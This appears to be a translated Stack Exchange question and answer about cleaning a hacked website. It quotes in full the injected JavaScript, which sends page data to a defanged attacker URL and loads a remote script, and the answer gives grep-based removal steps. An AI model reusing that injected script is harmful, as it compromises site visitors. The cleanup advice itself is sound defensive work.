substitua uma string de texto longa (script com MUITOS caracteres especiais). sed, awk, grep

substitua uma string de texto longa (script com MUITOS caracteres especiais). sed, awk, grep

Meu site foi hackeado/infectado. Substituí o URL do link malicioso, mas outros elementos do script malicioso ainda estão bloqueando meu site. Sem inserir cerca de cem "escapes", como posso remover o seguinte script de três dúzias de arquivos no meu site?

< script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "hxxp://xxxxx_hack_was_here_z_s_e_r_f_._c_o_m/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('< script type="text/javascript" src="' + f_url + '">' + '<' + '/ script>');} < /script>

Outras páginas sobre stack-exchange não respondem a esta pergunta.

Para substituir o URL malicioso por xxxx_hack_was_here etc, usei: find . -type f -name "*.php" -exec sed -i 's/zserf.com/xxxxx_hack_was here_z_serf/g' {} +

Responder1

Em primeiro lugar, concordo com os comentários acima:Não use sedpara se recuperar de ser hackeado. Você sempre se perguntará se perdeu alguma coisa. Restaurar do backup, ponto final.

No entanto, a pergunta literal que você fez, como remover uma string longa em todos os lugares em que ela aparece, sem escapar de todos os caracteres especiais, é um pouco mais fácil de lidar.

Estou fazendo algumas inferências/suposições da sua pergunta que você não declarou diretamente:

  1. Que a string a ser removida seja uma única linha.
  2. Que é a mesma coisa cada vez que ocorre.
  3. Que precisa serremovido, não substituído por outra coisa.

Se as suposições acima estiverem corretas, faça o seguinte:

  1. Coloque a string a ser removida (incluindo qualquer espaço em branco à direita) em um arquivo próprio, chamado, por exemplo hackline.txt, . Coloque este nívelacimao diretório que você irá manipular.
  2. Copie todo o seu diretório em caso de erros.

    cp -a mydir mydircopy
    
  3. Execute o seguinte loop em seu diretório (ou cópia) para remover todas as instâncias do hackline:

    cd mydir
    for f in *; do
      [ -f "$f" ] && [ -r "$f" ] || continue
      grep -vxFf ../hackline.txt "$f" > "$f.fixed" &&
        mv -- "$f.fixed" "$f"
    done
    

O conceito aqui é que você usa hackline.txtcomo uma lista de strings fixas que devem corresponder à linha inteira, então você usa greppara obter apenas as linhas quenãocorresponder a essa lista de strings.

-xsignifica “linha inteira”; -Fsignifica "string fixa, não regex"; -vinverte a busca; -faceita uma lista de padrões em um arquivo.

Se o diretório do seu site for hierárquico e não simples (o que é bastante provável), você poderá usar findem vez de um loop for:

find mydir -type f ! -name \*.fixed -exec sh -c 'grep -vxFf ../hackline.txt "$1" > "$1.fixed"' sh {} \;
find mydir -type f -name \*.fixed -exec sh -c 'mv -- "$1" "${1%.fixed}"' sh {} \;

Em seguida, use uma recursiva diffpara verificar se tudo está como deveria estar:

diff -r mydircopy mydir

informação relacionada